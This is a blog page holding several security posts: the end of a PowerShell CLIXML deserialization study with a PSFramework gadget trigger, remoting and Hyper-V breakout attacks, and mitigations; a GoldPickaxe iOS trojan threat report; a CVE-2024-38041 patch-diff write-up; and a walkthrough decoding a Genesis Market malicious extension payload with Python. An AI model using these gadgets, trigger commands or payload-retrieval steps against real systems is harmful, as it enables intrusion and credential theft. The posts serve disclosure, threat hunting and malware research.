          <TypeName>PSFramework.Serialization.SerializationTypeConverter</TypeName>
          <MethodName>GetSerializationData</MethodName>
        </GetCodeReference>
      </CodeProperty>
    </Members>
    <TypeConverter>
      <TypeName>PSFramework.Serialization.SerializationTypeConverter</TypeName>
    </TypeConverter>
</Type>

Looking at SerializationTypeConverter.cs, we see that the type converter is essentially a wrapper on BinaryFormatter. This is one of the formatters analyzed by Munoz et al and it is known to be vulnerable to arbitrary code execution.

https://github.com/PowershellFrameworkCollective/psframework/

The vulnerability is in fact very similar to the vulnerable Exchange converter that was abused in ProxyNotShell. As you may remember, user-defined types are rehydrated using LanguagePrimitives.ConvertTo. The combination of this and a BinaryFormatter is all we need. From Munoz et. al, we also learned that you can achieve code execution if you can control the object and the type passed to LanguagePrimitives.ConvertTo. This is done by passing the XamlReader type and implicitly calling the static method Parse(string). The complete details of this can be found in Bazydło’s NotProxyShell article.

In other words, we can achieve remote code execution if the victim has PSFramework available, or any of the hundreds of modules that are dependent on it.

We can trigger the exploit by running the below:

Write-PSFMessage "Hello World!"
Import-CliXml .\payload.xml 

This is by the way the gadget we used to breakout from Hyper-V and get code execution on the hypervisor host in the video above. But more on that later.

SUMMARY OF WHAT WE LEARNED

I believe it is fair to say that CLIXML deserialization of untrusted data is dangerous. The impact will vary depending on a variety of factors, including what modules you have available and how you use the resulting object. Note that, so far, we only talked about this issue in a local context. We will soon see that a threat actor can perform these attacks remotely. Here is a summary what could happen when you deserialize untrusted data in PowerShell:

On a fully patched, vanilla PowerShell we can achieve:

  • Arbitrary DNS lookup
  • Arbitrary Code Execution (if the property “action” is used)
  • Steal Net-NTLMv2 hashes

Unpatched system (we haven’t really detailed these two because they are old and not that relevant anymore):

  • XXE (< .NET 4.5.2)
  • Arbitrary Code Execution (CVE-2017-8565)

On a system with non-default modules installed:

  • Arbitrary Code Execution (affects hundreds of modules, including three official Microsoft modules)
  • Multiple other impacts

PART 4 – CLIXML DESERIALIZATION ATTACK VECTORS

You might think “I do not use Import-Clixml so this is not a problem for me”. This section will show why this is not entirely true. The reason you need to care is that some very popular protocols rely on it, and you might use CLIXML deserialization without knowing it!

ATTACKING POWERSHELL REMOTING

PowerShell Remoting Protocol (PSRP) is a protocol for managing Windows computers in an enterprise environment. PSRP is an addon on top of the SOAP web service protocol WS-Management (WSMAN). Microsoft’s implementation of WSMAN is called WinRM. PSRP adds a bunch of things on top of WinRM including message fragmentation, compression, and how to share PowerShell objects between the PSRP client and server. You guessed it – PowerShell objects are shared using CLIXML.

In this attack scenario, the server is not the victim. Instead we will show how an compromised server could launch a CLIXML deserialization attack against a PSRP client. This is a very interesting scenario because PowerShell Remoting is often used by administrators to connect to potentially compromised systems and systems in a lower security tier.

The Invoke-Command cmdlet is an example of cmdlets that is implemented with PSRP:

$me = Invoke-Command -ComputerName dc01.dev.local -ScriptBlock { whoami }

The command “whoami” will be executed on the remote server and $me will be populated with the result of the remote command within the client session. This is a powerful feature that works because CLIXML serialization is used by both the PSRP server and client to pass objects back and forth.

The problem however, is that the PSRP client will deserialize any CLIXML returned from the PSRP server. So if the threat actor has compromised the server, they could return malicious data (e.g. one of the gadget chains I presented above) and thus compromise the connecting client.

Encryption, certificates, kerberos, two-way-authentication and whatever other security mechanisms that PSRP uses are all great. However, they will do nothing to prevent this attack, where the premise is that the server is already compromised.

We implement this attack by compiling a custom PowerShell, based on the open source version. The only thing we need to is to change the SerializeToBytes function and make it return serialized data of our choosing. You also need some logic to not break the protocol, but we will not detail that here.

As a proof-of-concept we return a string (using the <S> tags).

Custom stream writer added to fragmentor.cs

Now, to make PowerShell Remoting server use our custom PowerShell, we need to build pwrshplugin.dll and update the microsoft.powershell plugin for WSMan, and make it to point to our custom PowerShell version.

Microsoft.PowerShell plugin pointing to our custom PowerShell

Finally, we try it out by running an example command over PSRP against the compromised server. We see that not only is our string returned, but the client has deserialized our arbitrary data (the <S> tags are gone).

Exploit was triggered on client when using PowerShell Remoting against the compromised server

As we described previously, the impact of this (a deserialization of untrusted data) will vary depending on what gadget the victim have available in their local PowerShell session and how they use the result object.

In the video below, we show an example of how a compromised server (in this case WEB19.dev.local) could be configured to deliver the hash stealer gadget. When an unsuspecting domain admin runs invoke-command against the compromised server, the threat actor steals their Net-NTLMv2 hash.PowerShell Remoting CLIXML deserialization attack

This is of course just one of the examples. If you have other gadgets available, you might end up with a remote code execution. In the recommendations section we will discuss what you need to do to mimize the impact.

BREAKING OUT OF HYPER-V (VIA POWERSHELL DIRECT)

PowerShell Direct is a feature to run PowerShell commands in a virtual machine from the underlying Hyper-V host, regardless of network configuration or remote management settings. Both the guest and the host must run at least Windows 10 or Windows Server 2016.

PowerShell Direct is the PSRP protocol, but with VMBUS for transfer (as opposed to TCP/IP). This means that the same attack scenario applies to Hyper-V. This is particularly interesting since the server (the VM) can attack the client (the Hyper-V host), potentially leading to a VM-breakout scenario when PowerShell Direct is used. Note that for example a backup solution could be configured to use PowerShell Direct, thus generating reocurring opportunity for threat actors to abuse PowerShell Direct calls.

PowerShell Direct can be hijacked with a search order hijack. If we put our malicious “powershell.exe” under C:\Windows, it will take precedence over the legitimate PowerShell. In other words, we will build a custom PowerShell just as we did in the PSRP scenario and use it to hijack the PowerShell Direct channel.

This technique is what you saw in the demo video in the beginning of this article. The remote code execution we showed abuses the PSFramework gadget. Prior to recording the video, we installed a Microsoft official PowerShell module (which relies on PSFramework). Other than this, everything is in the default configuration. Note that all other gadgets we have presented would have worked too.

The C2 connection seen in the video was established using a custom-built reverse PowerShell Direct channel. We have decided to not share the C2 code or the gadget chain publicly.

PART 5 – DISCLOSURE TIMELINE

TimeWhoDescription
2024-03-18 23:57Alex to MSRCReported findings with working PoCs to Microsoft (MSRC)
2024-03-21 17:33MSRCCase opened
2024-04-15 19:03MSRC to Alex“We confirmed the behavior you reported”
2024-05-06 17:53Alex to MSRCAsked for status update
2024-05-07 21:09MSRCClosed the case
2024-05-26 23:33Alex to MSRCAsked for resolution details
2024-05-30AlexStarted escalating via contacts at MS and MVP friends
2024-06-04Microsoft to AlexAsked for a copy of my SEC-T presentation
2024-06-04Alex to MicrosoftSent my SEC-T presentation
2024-06-26 15:55MSRCOpened the case
2024-07-22 23:02 MSRC to Alex“Thank you[…] The issue has been fixed.”
2024-07-22 23:04MSRCClosed the case
2024-07-22Alex to MSRCOffered to help validate the fix and for resolution details.
2024-08-14Alex to MicrosoftSent reminder asking if they want to give feedback on the presentation
2024-08-19 Alex to PSFrameworkStarted reachout to PSFramework.
2024-08-28PSFrameworkFirst contact.
2024-08-29MSRCPublic acknowledgment.
2024-09-13AlexPresented at SEC-T.
2024-09-14AlexPublished blog post.
Response from MSRC saying they have fixed the issue.

To me, it is still unclear what MSRC means with “The issue has been fixed” as they have not shared any resolution details. While it is obvious that PSRP and PSDirect still deserializes untrusted data, it appears that they also did not fix the remote code execution (due to PSFramework dependency) in Microsoft’s own PowerShell modules, although they are covered under MSRC according to their security.md files (Azure/AzOps, Azure/AzOps-Accelerator, Azure/AVDSessionHostReplacer, PAWTools).

On 2024-08-19 I decided to contact the Microsoft employee behind PSFramework myself. He instantly understood the issue and did a great job quickly resolving it (big kudos as he did it during his vacation!). Make sure to update to v1.12.345 in case you have PSFramework installed.

This research was publicly released 2024-09-14, which is 180 days after the initial private disclosure.

PART 6 – MITIGATIONS AND RECOMMENDATIONS

SECURE POWERSHELL DEVELOPMENT

When developing PowerShell Modules, it is important to keep deserialization attacks in mind – even if your module is not deserializing untrusted data. In fact, this could be an issue even if your module doesn’t perform any deserialzation at all.

It is particularily important if your module defines user-define types, converters, and formats. When you introduce new user-defined types to your end-users systems, it will extend the attack surface on their system. If you’re unlucky, your module could introduce a new gadget chain that can be abused when the end-user uses PowerShell Remoting, PowerShell Direct, or when they use any script or module that performs deserialization of untrusted data.

1. SECURING YOUR USER-DEFINED TYPES

  • Be careful with types.ps1xml declarations. Keep in mind that the threat actor can control most of the object properties during deserialization.
  • Be careful with format.ps1xml declarations. Keep in mind that the object could be maliciously crafted, thus, the threat actor could control most of the object properties.
  • Be careful when you implement type converters. There are plenty of good reading online on how to write secure deserialization. Here is a good starting point: https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp

2. AVOID THE PROPERTY NAME ‘ACTION’
The property name action is dangerous and should be avoided. Using a property of the name action could lead to critical vulnerabilities in the most unexpected ways. For example, the following code is vulnerable to arbitrary code execution:

$obj = Import-Clixml .\untrusted.xml
$example = @("Hello","World!") # this can be any value
$example | Select-Object $deserialized.Action

RECOMMENDATIONS FOR IT OPS

PSRP is still a recommended method for managing your environment. You should not go back to RDP (Remote Desktop Protocol) or similar for lots of reasons. However, before using PSRP or PSDirect, there are a few things you need to keep in mind.

First off, you should ensure that the computer you are remoting from is fully patched. This will solve some of the problems, but not all.

Secondly, you should never use remoting from a computer that is littered with third-party PowerShell modules. In other words, you probably shouldn’t remote from your all-in-one admin PC. Use a privileged access workstation that is dedicated for admin tasks.

Thirdly, before you use remoting, follow thru with the following points:

1. REVIEW YOUR POWERSHELL MODULES
Check the modules loaded on startup by starting a fresh PowerShell prompt and run:

get-module

Note however that modules will be implicitly loaded as soon as you use one of their cmdlets. So you should also check the available modules on your system.

get-module -ListAvailable

2. REDUCE YOUR POWERSHELL MODULES
When you install a PowerShell module, it may introduce a new deserialization gadget on your system and your system will be exposed as soon as you use PSRP, PSDirect, or use any script that imports untrusted CLIXML.

Being restrictive with PowerShell modules is good practice in general, as third-party modules comes with other risks as well (e.g. supply chain attacks).

This is however not as easy as it may sound. Lots of software ships with their own set of PowerShell modules that will be installed on your system. You need to ensure that these don’t introduce gadgets.

3. MANUAL GADGET MITIGATION
As long as PSRP and PSDirect still relies on (untrusted) CLIXML deserialization, there will be a constant battle to find and defuse deserialization gadgets.

As an example, the “SMB stealing gadget” can be mitigated with a simple if statement. Find the following code in C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml:

<ScriptBlock>
$result = (Get-ItemProperty -LiteralPath $_.PSPath | Select * -Exclude PSPath,PSParentPath,PSChildName,PSDrive,PsProvider | Format-List | Out-String | Sort).Trim()
$result = $result.Substring(0, [Math]::Min($result.Length, 5000) )
if($result.Length -eq 5000) { $result += "..." }
$result
</ScriptBlock>

Then add validation that ensures the PSPath property is legitimate. The updated formatter could look something like this:

<ScriptBlock>
$result = ""
if($_.PSPath.startswith("Microsoft.PowerShell.Core\Registry")){
   $result = (Get-ItemProperty -LiteralPath $_.PSPath | Select * -Exclude PSPath,PSParentPath,PSChildName,PSDrive,PsProvider | Format-List | Out-String | Sort).Trim()
   $result = $result.Substring(0, [Math]::Min($result.Length, 5000) )
   if($result.Length -eq 5000) { $result += "..." }
}
$result
</ScriptBlock>
Posted in Cyber Attacks, Exploits, ProgrammingTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Threat Hunting Report: GoldPickaxe

Posted on November 3, 2024 - November 3, 2024 by Maq Verma

Executive Summary

The purpose of this report is to document the current form and methodologies used by the GoldFactory threat actor. The information documented is then used by Cyber Security Associates Ltd (CSA) Cyber Analysts to detect and hunt for the threat within the client environment through the use of our supported SIEM’s BorderPoint, Microsoft Sentinel and LogRhythm and advise on counter measures to monitor and detect for the subject threat.

This report documents the threat group GoldPickaxe and their TTPs (Tactics, Techniques and Procedures). Containing recommendations to help detect and mitigate the threat. The report also includes references where information within this report was identified from.

GoldFactory has created a highly advanced Trojan application that is designed to exfiltrate facial recognition data from a victims phone to an attacker operated database. This data is then used within an artificial intelligence workflow to create ‘deepfakes’ of victims and gain access to their facial recognition secured banking applications. This is the first recoded instance of this type of virus for iOS devices due to their solid utilisation of safety protocols and best practices. There are little ways to protect against it apart from maintaining awareness and not blindly trusting emails or text messages as convincing as they may be. Be on particular lookout for messages from commonly trusted entities such as banks or pension funds asking to verify documents or click and download from links.

Key Terms and Concepts

Social Engineering

Social Engineering is a well-known tactic used by cyber threat actors to leverage peoples willingness to help or trust, people are often willing to assist or conform to strangers requests due to their own kindness or due to their perceived authority. For example, offering to lend someone trusted money or an account credentials because they are in a time of need ‘I am the prince of X, I have unfortunately lost the key to my safe, to get another one I need £100 but I will share my wealth with you, I promise!’ or the age old tale of ‘I am calling from Microsoft, we suspect you have a virus on your PC, please buy me a gift card so that I can remove it for you’. Luckily, most people can easily see that both of those examples are bad attempts at fraud. However, as with anything in technology there have been improvements to the efficiency and an added level of professionalism to these attempts. Specialist crime groups have been created that are dedicated to making these phishing attempts as good as possible, unfortunately the success rate has been increasing [8].Phishing

Phishing is a type of social engineering that focuses on an attacker pretending to be a reputable entity; a member of IT Services asking you to click a suspicious link or asking for your password and login due to a system upgrade. These are just some examples of phishing attempts. Attackers will often use emails as an easy way to distribute phishing emails and use attachments or links to get a way in.Smishing

Smishing is a type of phishing that focuses on deceiving targets via text messages to appear more personal than phishing emails, often spoofing phone numbers of banks or other reputable entities into the text field. Texting applications often lack the advanced spam detection capabilities emails have and are often an easier way of fooling targets into clicking links or even installing applications due to users placing more trust into this way of communication. A popular example of this in the UK is ‘you have missed a Royal Mail parcel delivery, please click this link to arrange a re-delivery’ [9].Apple TestFlight Platform

Apples Test Flight platform is an easy way for developers to beta test their applications without having to go through Apples rigorous testing for them to be signed off and allowed onto the App store. This way developers can test their apps with a small group of chosen users which will test the application for them in a controlled manner, with the added benefit of being able to send the users a URL that will let them download the application. This ease of use for developers can easily be taken advantage of by malicious actors. Due to the lack of testing to applications on Apples TestFlight platform, it makes it significantly easier for a compromised application to make its way on there. From a phishing perspective, this makes it incredibly easy to infect a device with a genuine looking link and webpage- all without having to create any back end infrastructure to host the application and making a believable webpage.Mobile Device Management

Mobile Device Management (MDM) is an Apple device management solution for maintenance and security of a fleet of devices that lets admins install, change and modify all aspects of a device such as application deployment or setting changes. Its Microsoft counterpart is known as Intune.

However, due to its potential it has also been utilised by malicious actors to install malware as uncovered by W. Mercer et al [2]. The authors discovered a malicious MDM platform that was loading fake applications onto smartphones. The attackers exploited a common MDM feature and used an iOS profile to hide and disable legitimate versions of apps, forcing users to interact with the malicious stand-ins that were disguised as applications such as ‘Safari, WhatsApp and Telegram’. The profile abused a section of MDM used to hide applications with an age restriction, by setting the age lower than the 12 and 17 required for WhatsApp and Telegram. The age of 9 was used in this scenario and due to this, the legitimate applications were restricted on the device and only their malicious counterparts remained accessible and visible to the users.Rise of Online Banking and Law changes in Asia

Due to the global situation in 2020, online banking increased in popularity exponentially and due to its popularity it became a profitable target for cyber criminals. Due to growing security concerns Thai policy makers have required banks to enforce MFA via facial recognition if transfers over a certain amount are attempted.

The process of this operation is simple and very effective [Figure 1]

Figure 1: Biological MFA flowchart

Due to the maturity of facial recognition technology, this is a simple and effective solution that circumvents the common issues with passwords such as password sharing and setting weak passwords.

Tactics, Techniques & Procedures

Tactics, Techniques, and Procedures (TTPs) describes the actions, behaviours, processes and strategies used by malicious adversaries that engage in cyber-attacks.

Tactics will outline the overall goals behind an attack, including the strategies that were followed by the attacker to implement the attack. For example, the goal may be to steal credentials. Understanding the Tactics of an adversary can help in predicting the upcoming attacks and detect those in early stages

Techniques will show the method that was used to engage in the attack, such as cross-site scripting (XSS), manipulation through social engineering and phishing, to name a few. Identifying the Techniques used during an attack can help discover an organisation’s blind spots and implement countermeasures in advance.

Procedures will describe the tools and methods used to produce a step-by-step description of the attack. Procedures can help to create a profile for a threat actor or threat group. The analysis of the procedures used by the adversary can help to understand what the adversary is looking for within their target’s infrastructure.

Analysts follow this methodology to analyse and define the TTPs to aid in counterintelligence. TTPs that are described within this research are based of the information which CSA analysts have been able to identify prior to the release of this document. The threat may change and adapt as it matures to increase its likelihood of evading defence.

Summary

GoldPickaxe is a sophisticated Trojan virus aimed at iOS devices running 17.4 or below, there are two ways in which it can infect the device, both of which include the user clicking a link, downloading and finally approving the installation. This happens either via an MDM profile or via a TestFlight URL. This is then used to install a legitimate looking application designed to fool the user into providing further information via the Trojan. The device is open to receiving commands via its Command-and-Control server. The information harvested is then used to create deep fake videos to pass MFA and log into banking accounts.

Attack Methodology

In this section the attack methodology will be discussed and laid out. This section assumes the user assists the attackers by successfully following prompts and clicking links on their compatible iPhone running iOS 17.4 or below. It also assumes the user has the password to the iCloud account associated to the device to enable the installation of the MDM profiles/applications depending on the attack methodology. This section is based on the findings of Group-IB [1] [Figure 2].

MITRE ATT&CK

MITRE developed the Adversarial Tactics, Techniques and Common Knowledge framework (ATT&CK), which is used to track various techniques attackers use throughout the different stages of cyberattack to infiltrate a network and exfiltrate data.
The framework defines the following tactics that are used in a cyberattack:

  • – Initial Acces
  • – Execution
  • – Persistence
  • – Privilege Escalation
  • – Defence Evasion
  • – Credential Access
  • – Discovery
  • – Lateral Movement
  • – Collection
  • – Exfiltration
  • – Command and Control
Phase 1: Initial Infection

After the initial development of rapport with the victim the attacker will attempt to compromise the user device. There are two possible ways of infection via GoldPickaxe.iOS; either by the user being lured to install an application via TestFlight or following a malicious URL to another webpage controlled by the attacker which will download and attempt to enable an MDM profile on the victims device.

These are both examples of techniques T1565 (Phishing) and T1119 (Trusted Relationship).
If the user installs the application via TestFlight, the user will follow the testflight.apple.com/join/ URL and download the trojan as well as the genuine application onto the device. This is now a compromised target and will follow onto Phase 2.

If the user installs the MDM profile, the user follows the URL link sent to them, the MDM profile is automatically downloaded and the user is asked for permission to install it. After this is successful, the device will download the malicious application via Safari browser and install GoldPickaxe.iOS silently on the device. This is now a compromised target and will follow onto Phase 2.

Both of the techniques outlined utilise the T1204 (User execution) approach from the attack matrix as they rely on the user to execute the packages.

Phase 2: Deployment and Execution

At this stage the threat actor has full and unrestricted access to the device, it does however require user interaction within the application to create the data the attacker is after. These actions will be paired with prompts by the attacker via whatever way the initial point of contact was, for this we assume it was by text.

The attacker will message the user to open the application and provide verification within it, this can be done by; recoding a short video, requesting photos of ID’s or other documents. The application also has further abilities such as interception of text messages and web traffic to and from the device.

At this stage the attackers will perform multiple examples of collection techniques, mainly: T1113 (Screen capture), T1115 (Clipboard Data), T1005 (Data from Local System) and they will finally utilise T1560 (Achieve Collected Data) for ease of exfiltration. The data created by the user will be downloaded onto the device for a later exfiltration stage which is detailed in Phase 3.

Phase 3: Exfiltration of data

Within this stage the data that was harvested from the compromised individual is sent back to the attackers controlled database. This type of communication is controlled by sending the correct commands to the device via its WebSocket located at 8383. The data sent back regarding the specific command will be transmitted via HTTP API. This is an example of the command and control technique T1071 (Application Layer Protocol) due to the usage of normal protocols and the usage of T1090 (Proxy). However, there is also another communication channel specifically designed for exfiltration of data into a cloud bucket storage location. This being an example of T1537 (Transfer Data to Cloud Account).

This is one of the few indicators of compromise (IOC’s) for this trojan application as communication with specific URL’s can be used as a confirmation of a devices compromise status. The commands sent to the devices as well as hash values and URL’s accessed are included within the Indicators of compromise section.

The information sent back to the attacker can include items from the users gallery, SMS messages, captures of the users face and network activity logs. This will be used in the final phase of the attack, Phase 4.

Phase 4: Utilisation of harvested data

The final stage is where the data manipulation and the utilisation occur. It is believed by Group-IB that the attackers utilise the identification documentation as well as the recorded short video as sources for deep fake creation purposes. Due to the creation process, the more source files and angles of a person you have the more genuine the deep fake video will be. The final source files will be layered over an attackers face which will match up with the prompts used by banking apps in order to pass verification as the victim.

There are a multitude of options for deep fake creation [4] ranging from reface [5] which is an online platform to standalone applications such as DeepFaceLAB 2.0 [6] which can utilise Nvidia and AMD graphics cards to further enhance the work flow and level of realism of the final work. The standalone option also has the added benefits of being able to use advanced shaders and other addons to create hyper realistic deep fake videos.

At this step the attackers have successfully compromised the account and can now exfiltrate the funds or apply for finance. The attackers are suspected to use other devices that proxy into the victims network to circumvent regional checks from banking applications which is an example of T1090 (Proxy).

Cyber Kill-Chain

The cyber kill chain is a process that traces the stages of a cyberattack. This starts at the early reconnaissance stages that eventually leads to data exfiltration.
The kill chain can help one to understand and combat ransomware, advanced persistent threats (APTs) and security breaches.

The cyber kill-chain defines the following tactics that are

  • – Reconnaissance
  • – Intrusion
  • – Exploitation
  • – Privilege Escalation
  • – Lateral Movement
  • – Obfuscation/ Anti-forensics
  • – Denial of Service
  • – Exfiltration
Conclusion

In conclusion, due to the significant capabilities of the Trojan application and it being the first of its kind for iOS devices, it would be foolish to assume that it will not be shared between threat groups. This means that in the near future more countries will be targeted with advanced phishing campaigns looking to take advantage of users. As the malicious MDM profile approach is very powerful and essentially a ‘golden’ ticket for attackers, it requires a certain amount of vigilance from users.

However, due to it requiring the assistance of the devices owner in providing sensitive information and pictures/ videos, it is unlikely that many people will fall for it or even have the data on their device in the first place.

In the coming months and years, we are likely to see more Trojans being developed for the iOS ecosystem due to its prolific use. It is also likely that these iterations will build on previous versions of the Trojan. This means we will see an increase in capabilities and potentially even more advanced installation procedures like silent installation etc without the need for the users assistance.

Advice: What can you do to protect yourself?

Due to the attack vectors used by the Trojan application there are only a few things that need to be done to stay protected and secure. The best defence against any Trojan application is to always download applications from secure sources and to always remain suspicious of any communications before validating their sources, this includes applying MDM profiles to devices from anyone other than a known system admin. Obviously as the validation process becomes increasingly more difficult, it is advisable to use multiple sources to confirm. An example of this would be physically going into a branch of your bank and verifying if they really need more documentation or even calling them to do the same.

Due to the significant capabilities of the trojan package it is likely that infected users are only able to verify their status via their Antivirus software matching IOC’s for GoldPickaxe. Performing regular antivirus scans of devices ensures that any downloads are scanned for malicious payloads in real time to prevent further instances of malware.

If a device has been deemed as infected it is best to factory reset it to make sure any leftover files are destroyed. It is also recommended to change all passwords on all accounts that were signed into on the device as their status may have been compromised.

As a final best practice it’s advisable to regularly check for software updates as they often include patches and security updates which help to keep devices safe and optimised.

Indicators of Compromise

Indicators of Compromise GoldPickaxe iOS Trojan [Table 1] [11].

TTP’s Used by GoldPickaxe

Based against Mitre ATT&CK Framework [12] [Table 2]

Posted in Cyber Attacks, Exploits, VulnerabilityTagged Cyber Attacks, Data Security, malware, Programming, Reverse Engineering, vulnerabilityLeave a comment

Exploiting Microsoft Kernel Applocker Driver (CVE-2024-38041)

Posted on November 3, 2024 - November 3, 2024 by Maq Verma

Overview

In recent July Patch Tuesday Microsoft patched a vulnerability in the Microsoft Kernel driver appid.sys, which is the central driver behind AppLocker, the application whitelisting technology built into Windows. The vulnerability, CVE-2024-38041, allows a local attacker to retrieve information that could lead to a Kernel Address Space Layout Randomization (KASLR) bypass which might become a requirement in future releases of windows.

This blog post details my process of patch diffing in the Windows kernel, analysing N-day vulnerability, finding the bug, and building a working exploit. This post doesn’t require any specialized Windows kernel knowledge to follow along, though a basic understanding of memory disclosure bugs and operating system concepts is helpful. I’ll also cover the basics of patch diffing.

Basics of Patch Diffing

Patch diffing is a common technique of comparing two binary builds of the same code – a known-vulnerable one and one containing a security fix. It is often used to determine the technical details behind ambiguously-worded bulletins, and to establish the root causes, attack vectors and potential variants of the vulnerabilities in question. The approach has attracted plenty of research and tooling development over the years, and has been shown to be useful for identifying so-called N-day bugs, which can be exploited against users who are slow to adopt latest security patches. Overall, the risk of post-patch vulnerability exploitation is inevitable for software which can be freely reverse-engineered, and is thus accepted as a natural part of the ecosystem.

In a similar vein, binary diffing can be utilized to discover discrepancies between two or more versions of a single product, if they share the same core code and coexist on the market, but are serviced independently by the vendor. One example of such software is the Windows operating system.

KASLR in Windows 11 24H2

In previous Windows versions defeating KASLR has been trivial due to a number of syscalls including kernel pointers in their output. In Windows 11 24H2 however, as documented by Yarden Shafir in a blog post analysing the change, these kernel address leaks are no longer available to unprivileged callers.

In the absence of the classic KASLR bypasses, in order to determine the layout of the kernel an info leak or new technique is required.

Patch Diff (Appid.sys)

In order to identify the specific cause of the vulnerability, we’ll compare the patched binary to the pre-patch binary and try to extract the difference using a tool called BinDiff. I had already saved both binary versions on my computer, as I like to keep track of Patch Tuesday updates. Additionally, I had written a simple Python script to dump all drivers before applying monthly patches, and then doing the dump of the patched binaries afterward. However, we can use Winbindex to obtain two versions of appid.sys: one right before the patch and one right after, both for the same version of Windows.

Getting sequential versions of the binaries is important, as even using versions a few updates apart can introduce noise from differences that are not related to the patch, and cause you to waste time while doing your analysis. Winbindex has made patch analysis easier than ever, as you can obtain any Windows binary beginning from Windows 10. I loaded both of the files in IDA Decompiler and ran the analysis. Afterward, the files can be exported into a BinExport format using the extension BinExport then being loaded into BinDiff tool.

Creating a new diff

BinDiff summary comparing the pre and post-patch binaries

BinDiff works by matching functions in the binaries being compared using various algorithms. In this case there, we have applied function symbol information from Microsoft, so all the functions can be matched by name.

List of matched functions sorted by similarity

Above we see there is only one function that have a similarity less than 100%. The function that was changed by the patch is AipDeviceIoControlDispatch.

New checks introduced

In the above image we can see the two highlighted in red blocks that have been added in the patched version of the driver. This code checks the PreviousMode of the incoming IOCTL packet in order to verify that the packet is coming from a kernel-mode rather then user-mode.

Root cause analysis

The screenshots below shows the changed code pre and post-patch when looking at the decompiled function code of AipDeviceIoControlDispatch in IDA.

Pre-patch version of appid.sys Windows 11 22H2

Post-patch version of appid.sys Windows 11 22H2

This change shown above is the only update to the identified function. Some quick analysis showed that a check is being performed based on PreviousMode. If PreviousMode is zero (indicating that the call originates from the kernel) pointers are written to the output buffer specified in the SystemBuffer field. If, on the other hand, PreviousMode is not zero and Feature_2619781439… is enabled then the driver will simply return STATUS_INVALID_DEVICE_REQUEST (0xC0000010) error code.

Exploitation

The first step is to communicate with the driver to trigger its vulnerability. To communicate with the driver, you typically need to find the Device Name, obtain a handle, and then send the appropriate IOCTL code to reach the vulnerability.

For this purpose, the IoCreateDevice function was analyzed in the DriverEntry function and the third argument of DeviceName is found to be \\Device\\AppID.

Decoding the 0x22A014 control code and extracting the RequiredAccess field reveals that a handle with write access is required to call it. Inspecting the device’s ACL (Access Control List; see the screenshot below), there are entries for local service, administrators, and appidsvc. While the entry for administrators does not grant write access, the entry for local service does.

As the local service account has reduced privileges compared to administrators, this also gives the vulnerability a somewhat higher impact than standard admin-to-kernel. This might be the reason Microsoft characterized the CVE as Privileges Required: Low, taking into account that local service processes do not always necessarily have to run at higher integrity levels.

Given the fact that I already have wrote an exploit for CVE-2024-21338 which is the same driver that we analyse so I will only provide the modified version of the code here.

Successful Exploitation

Summary

In this blog post we’ve covered patch diffing, root cause analysis and process of exploiting the vulnerability. It’s important to monitor for new code additions as sometimes it can be fruitful for finding vulnerabilities.

Despite best efforts by Microsoft trying to follow secure coding practices, there are always things that gets often overlooked during code reviews which create vulnerabilities that attackers often are trying to exploit.

Posted in Cyber Attacks, Exploits, VulnerabilityTagged Cyber Attacks, Data Security, malware, Programming, Ransomware, Reverse Engineering, vulnerabilityLeave a comment

Acquiring Malicious Browser Extension Samples on a Shoestring Budget

Posted on November 3, 2024 - November 3, 2024 by Maq Verma

Introduction

A friend of mine sent me a link to an article on malicious browser extensions that worked around Google Chrome Manifest V3 and asked if I had or could acquire a sample. In the process of getting a sample, I thought, if I was someone who didn’t have the paid resources that an enterprise might have, how would I go about acquiring a similar malicious browser extension sample (and maybe hunting for more samples).

In this blog post, I’ll give a walkthrough how I used free resources to acquire a sample of the malicious browser extension similar to the one described in the article and using some simple cryptanalysis, I was able to pivot and acquire and decrypt newer samples.

If you want to follow along, you can use this notebook.

Looking for similar samples

If you are lucky, you can search the hashes of the samples in free sites like MalwareBazaar or even some google searching. However, if that doesn’t work, then we’d need to be a bit more creative.

In this case, I looked at features of the malware that I can use to look for other similar ones. I found that the names and directory structure of the browser extension seemed unique enough to pivot from. I used a hash from the article and looked it up in VT.

crypto-extension.zip

This led me to find a blog post from Trend Micro and in one section, they discussed the malicious browser extension used by Genesis Market.

crypto-extension.zip

As you can see, the file names and the structure of this extension is very similar to the one we were looking for, and the blog post also showed the script that was used by the malware to drop the malicious extension.

powershell script

Acquiring the first sample

Given this powershell script, if the endpoint is still available we can try to download the sample directly. However, it wasn’t available anymore, so we have to hope that the response of hxxps://ps1-local[.]com/obfs3ip2.bs64 was saved before it went down. This is where services like urlscan come in handy. We used urlscan to get the saved response for obfs3ip2.bs64.

urlscan for bs64

Now, this would return a base64-ish payload, but to fully decrypt this, you would have to follow the transformations done by the powershell script. A simple base64 decode won’t work, you can see some attempts of other researchers on any.run here and here.

If we translate the powershell script to python, then we can process the saved response from urlscan easily.

import requests
import base64

# hxxps://ps1-local[.]com/obfs3ip2.bs64
res = requests.get('https://urlscan.io/responses/bef9d19d1390d4e3deac31553aac678dc4abb4b2d1c8586d8eaf130c4523f356/')
s = res.text\
    .replace('!', 'B')\
    .replace('@', 'X')\
    .replace('$', 'a')\
    .replace('%', 'd')\
    .replace('^', 'e')

ciphertext = base64.b64decode(s)
plaintext = bytes([b ^ 167 ^ 18 for b in ciphertext])
print(plaintext.decode())

This gives us a powershell script that drops the browser extension on disk and modifies the shortcuts to load the browser extension to chrome or opera.

urlscan for bs64

I won’t do a deep dive on what the powershell script does because this has already been discussed in other blog posts:

  • https://sector7.computest.nl/post/2023-04-technical-analysis-genesis-market/
  • https://www.trendmicro.com/en_au/research/23/k/attack-signals-possible-return-of-genesis-market.html

The files of the extension are in a dictionary where the key is the file name and the value is a base64 encoded file.

{"src/functions/injections.js"="KGZ1bmN0aW9uKF8weDU0YjAwYyxfMHgxOGY3NGIpe2Z1bmN0aW9uIF8weDJkMmI4..."}

Getting the browser extension is just a matter of parsing the files out of the dictionary in the powershell script.

Looking for new samples

The extension of .bs64 seemed quite unique to me and was something that I felt could be pivoted from to get more samples. With a free account in urlscan, I can search for scans of URLs ending with .bs64.

urlscan for bs64

This was interesting for 2 reasons:

  1. The domain root-head[.]com was recently registered so this was just recently set up.
  2. I also wanted to see if there have been updates to the extension by the malware authors.

I used the decryption script shown in “Acquiring the first sample” on the payload from urlscan.

Here is the output. incorrect decode

